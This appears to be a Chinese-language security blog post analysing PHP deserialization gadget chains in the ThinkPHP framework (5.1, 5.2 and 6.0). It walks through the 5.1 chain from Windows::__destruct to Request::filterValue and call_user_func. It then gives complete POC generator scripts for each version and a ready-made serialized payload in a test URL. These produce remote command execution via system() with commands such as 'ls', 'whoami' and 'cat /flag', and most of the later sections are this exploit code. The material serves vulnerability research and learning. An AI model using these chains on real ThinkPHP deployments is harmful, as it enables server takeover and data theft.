目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
project  应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

tp5.1

__destruct

全局搜索一下__destruct

在windows.php中找到一个__destruct,貌似可用

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

调用removeFiles()方法,跟进removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

有file_exists() 可以触发__toString

__toString

全局搜索一下__toString

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

继续跟进toArray() 在192行代码处,有一个调用类的方法,可以触发__call

1
2
3
4
5
6
7
8
9
10
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

看看变量是否可控

$this->append 一个数组,对象的属性 ,可控

往下走

有一个is_array($name)的判断,让$this->append中的值为数组就可以

下面会调用getRelation($key) 跟进

1
2
3
4
5
6
7
8
9
10
11
#RelationShip.php    

public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

因为上面有if (!$relation) 所以这里返回空就好 return;

继续往下走,调用了$this->getAttr($key),跟进getAttr()

1
2
3
4
5
6
#Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);

跟进getData

1
2
3
4
5
6
7
8
9
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

$this->data可控,

能够调用到$relation->visible($name)了; 去找一下__call

__call

全局搜索一下__call

1
2
3
4
5
6
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

__call方法内有一个call_user_array函数 可以用来执行代码,但是这里的$args经过了array_unshift,第一个参数变成了$this,

现在回看一下 那些是可控的

1
2
3
4
5
6
7
Conversion  append可控 

Attribute data可控

$relation->visible($name)可控

$this->hook[$method]可控

分析代码执行位置

$arg参数被固定,所以要找一个不受$arg参数影响的方法

参考tp5的执行RCE 有一个比较常见的位置filter

1
2
3
4
5
6
7
8
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);

这里调用了call_user_func,貌似可以RCE

但是直接把 hook[‘method’] 赋值filterValue 那么$value对应的就是$arg 不可控, 再找找

找一下哪里调用了filterValue方法,

input()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
...
$data = $this->getData($data, $name);
...
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

乍一看data不可控,再往下看看

先是经过了$this->getData $this->getFilter

跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

这里直接$data = $data[$val]; 然后return $data; $data可控了

但是如果直接把hook[$method]直接赋值为input,name就不可控了,$data的赋值和name还有关系explode('.', $name) as $val

不行 再找一下哪里调用了input方法,能不能控制name参数

param方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function param($name = '', $default = null, $filter = '')
{
...

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);

$this->param 是$_GET数组传过来的值,可控

但name不可控,这里的$name 接收的是$arg传来的参数,因为$arg不可控,所以$name同样不可控,继续找哪里调用了param方法

isAjax方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

$this->param($this->config['var_ajax']) ? true : $result;

把$this->config[‘var_ajax’]传给param的name参数,这样name就可控了

往下看 控制filter参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

看这里$filter = $filter ?: $this->filter; $filter可控

现在调用filterValue方法的参数都已经可控了 $data $filter

1
array_walk_recursive($data, [$this, 'filterValue'], $filter);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["xxx"=>["calc.exe","calc"]];
$this->data = ["xxx"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'xxx'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

在public/index.php加一个触发点

1
2
$str=base64_decode($_GET['str']);
unserialize($str);

测试

1
http://127.0.0.1/tp5/public/?str=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19&xxx=calc

计算器会弹出来

收获

看了很长时间,很多遍才看了个差不多

No.1 反序列化找可控变量,像$this->key这种的变量,可控的几率较大,因为是类的属性,可以直接通过反序列化得到

No.2 几个函数的用法,call_user_func_array可以调用类的方法

1
2
3
4
5
6
7
8
9
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
等效于
$foo->bar("three","four")

No.3

反序列化常用的魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__call	调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

反序列化常见起点

1
2
3
4
5
__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化常见跳板

1
2
3
4
5
6
7
__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

反序列化常见终点

1
2
3
4
5
__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

No.4 几个可以触发__tostring的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
echo $foo  print $foo 输出

file_exists($f00) 文件判断

'name'.$foo "name is {$foo}"字符串连接

sprintf("I am %s",$foo) 格式化字符串

if($foo=='admin') 字符串比较

格式化sql语句,绑定参数会被调用

in_array($foo,['admin','guest']) 数组中有字符,产生字符判断的时候

No.5

1
array_walk_recursive($data, [$this, 'filterValue'], $filter);

参考链接

https://wulidecade.cn/2019/10/06/tp5-1-X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/6619#toc-1

https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/

TP5.2

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}

namespace think\model\concern {
trait Conversion
{
}

trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];

public function get()
{
$this->data = ["lin" => "ls"];
}
}
}

namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}

namespace {

$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));
}
?>

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
namespace think;
require __DIR__ . '/vendor/autoload.php';
use Opis\Closure\SerializableClosure;

abstract class Model{
private $data = [];
private $withAttr = [];

function __construct(){
$this->data = ["lin"=>''];
# withAttr中的键值要与data中的键值相等
$this->withAttr = ['lin'=> new SerializableClosure(function(){system('ls');}) ];
}
}


namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}


echo urlencode(serialize(new Windows()));
?>

poc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;
class App{
protected $runtimePath;
public function __construct(string $rootPath = ''){
$this->rootPath = $rootPath;
$this->runtimePath = "D:/phpstudy/PHPTutorial/WWW/thinkphp/tp5.2/";
$this->route = new \think\route\RuleName();
}
}
class Db{
protected $connection;
protected $config;
function __construct(){
$this->config = ['query'=>'\think\Url'];
$this->connection = new \think\App();
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
# append键必须存在,并且与$this->data相同
$this->append = ["lin"=>[]];
$this->data = ["lin"=>new \think\Db()];
}
}
namespace think\route;
class RuleName{
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
//var_dump(new Windows());
echo urlencode(serialize(new Windows()));
?>

TP6

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace think{
class Db{

}
}
namespace think\model\concern {
trait Conversion{
protected $visible;
}

trait RelationShip{
private $relation;
}

trait Attribute{
private $withAttr;
private $data;
}
}

namespace think{
abstract class Model{
use model\concern\Conversion;
use model\concern\Attribute;
private $lazySave;
private $exists;
protected $name;
protected $db;
protected $connection;
function __construct($data,$obj)
{

$this->lazySave=true;
$this->exists=true;
$this->data=$data;
$this->db=$obj;
$this->relation = [];
$this->visible= [];
$this->name=$this;
$this->withAttr = array("paper"=>'system');
$this->connection = ["type"=>"mysql"];


}
}
}



namespace think\model{
class Pivot extends \think\Model{
public function __construct($data,$obj)
{
parent::__construct($data,$obj);
}
}
}

namespace{
$db = new think\Db();
$pivot2 = new think\model\Pivot(['paper'=>'ls'],$db);
echo urlencode(serialize($pivot2));
}

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
namespace think;
require __DIR__ . '/vendor/autoload.php';
use Opis\Closure\SerializableClosure;
abstract class Model{
private $lazySave ;
private $exists ;
private $suffix;
protected $append = [];
private $data = [];
protected $visible = [];
private $withAttr = [];
function __construct($aaa){
//withAttr中的键值要与data中的键值相等
if ($aaa == null){
$this->data = ["huha"=>''];
$this->withAttr = ['huha'=> new SerializableClosure(function(){system('whoami');}) ];
}else{
$this->data = [1];
$this->lazySave =true;
$this->exists = true;
$this->suffix = $aaa;
}
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
public function __construct($aaa){
parent::__construct($aaa);
}
}
$pivot1 = new Pivot(null);
$pivot2 = new Pivot($pivot1);
$a = base64_encode(serialize($pivot2));
echo $a;

需要放在网站根目录下运行,因为有vendor/autoload.php

poc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
private $data;
private $withAttr = ["axin" => "system"];

public function get()
{
$this->data = ["axin" => "cat /flag"]; //你想要执行的命令,这里的键值只需要保持和withAttr里的键值一致即可
}
}

namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = false;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
function __construct(){
$this->get();
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->connection = 'mysql';
}

}

namespace think\model;

use think\Model;

class Pivot extends Model
{
function __construct($obj='')
{
parent::__construct();
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

https://www.freebuf.com/column/221939.html

https://zhzhdoai.github.io/2019/10/02/ThinkPHP-6-0-x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%9/